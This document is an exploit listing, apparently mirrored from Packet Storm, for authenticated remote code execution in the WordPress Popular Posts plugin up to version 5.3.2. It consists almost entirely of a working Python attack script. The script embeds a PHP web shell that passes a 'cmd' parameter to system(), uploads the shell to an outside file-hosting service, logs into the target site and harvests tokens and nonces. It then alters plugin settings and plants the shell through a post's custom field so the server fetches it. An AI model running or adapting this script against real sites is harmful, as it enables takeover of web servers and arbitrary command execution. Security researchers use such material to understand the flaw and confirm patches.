Share
## https://sploitus.com/exploit?id=PACKETSTORM:163509
# Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)  
# Date: 15/07/2021  
# Exploit Author: Simone Cristofaro  
# Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/  
# Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip  
# Version: 5.3.2 or below  
# Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27  
# Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/  
# Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is  
# enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above.  
  
# This script will login with the provided credentials, create a new post and add a custom field with the link to a  
# web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to  
# provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is  
# set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;)  
  
'''  
Banner:  
'''  
banner = """  
* Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)   
* @Heisenberg  
"""  
print(banner)  
  
'''  
Import required modules:  
'''  
import requests  
import argparse  
import json  
import re  
'''  
User-Input:  
'''  
my_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)')  
my_parser.add_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target_ip")  
my_parser.add_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target_port")  
my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp_path")  
my_parser.add_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username")  
my_parser.add_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password")  
args = my_parser.parse_args()  
target_ip = args.target_ip  
target_port = args.target_port  
wp_path = args.wp_path  
username = args.username  
password = args.password  
  
'''   
# Hard coded parameters (if you don't like command line execution)   
target_ip = "localhost"  
target_port = "80"  
wp_path = "/wordpress/"  
username = "heisenberg"  
password = "heisenberg"  
'''  
  
shell_name = 'exploit.gif.php'  
payload = 'GIF <html> <body> <form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']); } ?> </pre> </body> </html>'  
  
print('')  
print('[*] Starting Exploit:')  
  
'''  
Upload file  
'''  
file_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell_name, payload)})  
resp = json.loads(file_json.text)  
if resp['status']:  
urlshort = resp['data']['file']['url']['full']  
else:  
print(f'[-] Error:'+ resp['error']['message'])  
exit()  
  
file_uploaded_site = requests.get(urlshort).text  
PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name  
  
print(f'[+] Web Shell successfully uploadad at [{PHP_URL}].')  
  
'''  
Authentication:  
'''  
session = requests.Session()  
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'  
  
# Header:  
header = {  
'Host': target_ip,  
'User-Agent': 'Monies Browser 1.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/x-www-form-urlencoded',  
'Origin': 'http://' + target_ip,  
'Connection': 'close',  
'Upgrade-Insecure-Requests': '1'  
}  
  
# Body:  
body = {  
'log': username,  
'pwd': password,  
'wp-submit': 'Log In',  
'testcookie': '1'  
}  
  
# Authenticate:  
auth = session.post(auth_url, headers=header, data=body)  
auth_header = auth.headers['Set-Cookie']  
if 'wordpress_logged_in' in auth_header:  
print(f'[+] Authentication successfull as user [{username}] !')  
else:  
print('[-] Authentication failed ! Check username and password')  
exit()  
  
'''  
Verify that the requirements are installed  
'''  
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug'  
settings_page = session.get(settings_page_url).text  
search_string = ' gd'  
if settings_page.find(search_string) == -1 :  
print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.')  
exit()  
  
'''  
Get the wpp-admin-token  
'''  
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools'  
  
settings_page = session.get(settings_page_url).text  
search_string = '<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="'  
search_string_end = '" />'  
settings_page = settings_page[settings_page.find(search_string):]  
wpp_admin_token = settings_page[72: settings_page.find(search_string_end)]  
if wpp_admin_token:  
print(f'[+] Acquired wpp-admin-token [{wpp_admin_token}].')  
else:  
print('[-] Error while gathering wpp-admin-token !')  
exit()  
  
'''  
Apply changes to the Popular Posts plugin  
'''  
body = {  
'upload_thumb_src': '',  
'thumb_source': 'custom_field',  
'thumb_lazy_load': 1,  
'thumb_field': 'wpp_thumbnail',  
'thumb_field_resize': 1,  
'section': 'thumb',  
'wpp-admin-token': wpp_admin_token  
}  
applied_changes = session.post(settings_page_url, headers=header, data=body).text  
if applied_changes.find('<div class="notice notice-success is-dismissible"><p><strong>Settings saved.'):  
print(f'[+] Settings applied successfully to the Popular Posts plugin. ')  
else:  
print('[-] Error while applying settings o the Popular Posts plugin!')  
exit()  
  
'''  
Empty image cache  
'''  
body = {  
'action': 'wpp_clear_thumbnail',  
'wpp-admin-token': wpp_admin_token  
}  
applied_changes = session.post(settings_page_url, headers=header, data=body).text  
print(f'[+] Images cache cleared. ')  
  
  
'''  
Get the new post ID and Nonce  
'''  
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/post-new.php'  
  
new_post_page = session.get(new_post_url).text  
search_string = 'name="_ajax_nonce-add-meta" value="'  
search_string_end = '" />'  
new_post_page = new_post_page[new_post_page.find(search_string)+35:]  
ajax_nonce = new_post_page[:new_post_page.find(search_string_end)]  
  
search_string = 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "'  
search_string_end = '" );'  
new_post_page = new_post_page[new_post_page.find(search_string)+66:]  
wp_nonce = new_post_page[:new_post_page.find(search_string_end)]  
  
search_string = '},"post":{"id":'  
search_string_end = ','  
new_post_page = new_post_page[new_post_page.find(search_string)+15:]  
post_ID = new_post_page[:new_post_page.find(search_string_end)]  
  
if post_ID and wp_nonce and ajax_nonce:  
print(f'[+] Acquired new post ID [{post_ID}], WP Nonce [{wp_nonce}] and AJAX Nonce [{ajax_nonce}].')  
else:  
if not post_ID: print('[-] Error while gathering post_ID !')  
elif not wp_nonce: print('[-] Error while gathering Wordpress Nonce !')  
elif not ajax_nonce : print('[-] Error while gathering Wordpress AJAX Nonce !')  
exit()  
  
'''  
Publish a new post  
'''  
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wp/v2/posts/'+post_ID+'?_locale=user'  
  
data = {"id":post_ID,"title":"I'm the one who knocks","content":"<!-- wp:paragraph -->\n<p>upgrade your plugins</p>\n<!-- /wp:paragraph -->","status":"publish"}  
header['X-WP-Nonce'] = wp_nonce  
header['Content-Type'] = 'application/json'  
header['X-HTTP-Method-Override'] = 'PUT'  
new_post_page = session.post(new_post_url, headers=header, json=data).text  
if new_post_page.find('"status":"publish"'):  
print(f'[+] New post named [I\'m the one who knocks] published correctly!')  
else:  
print('[-] Error while publishing the new post !')  
exit()  
  
'''  
Add the Custom Filed  
'''  
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'  
  
header.pop('X-WP-Nonce')  
header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'  
header.pop('X-HTTP-Method-Override')  
header['Accept']='*/*'  
header['X-Requested-With'] = 'XMLHttpRequest'  
body = {  
'_ajax_nonce': 0,  
'action': 'add-meta',  
'metakeyselect': 'wpp_thumbnail',  
'metakeyinput': "",  
'metavalue' : PHP_URL,  
'_ajax_nonce-add-meta': ajax_nonce,  
'post_id' : post_ID  
}  
new_post_page = session.post(new_post_url, headers=header, data=body).text  
  
if new_post_page.find("<tr id='meta-") > 0:  
print(f'[+] Added a new Custom Field with the uploaded web shell.')  
else:  
print('[-] Error while adding the custom field !')  
print(new_post_page)  
exit()  
  
'''  
Give it some views to pop it up in the recent posts  
'''  
print(f'[+] Giving the new post some views (10) [ ', end="")  
  
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php?page_id=' + post_ID  
redirect_url = session.get(new_post_url).url  
  
new_post_plugin_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wordpress-popular-posts/v1/popular-posts'  
data = {  
'_wpnonce': wp_nonce,  
'wpp_id': post_ID,  
'sampling': 0,  
'sampling_rate': 100  
}  
  
  
for progress in range(10):  
session.get(redirect_url)  
res = session.post(new_post_plugin_url, headers=header, data=data)  
print ('=', end='')  
  
print(' ] '+json.loads(res.text)['results'])  
  
print('[+] Exploit done !')  
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/wordpress-popular-posts/' + post_ID +'_'+ shell_name)  
print('')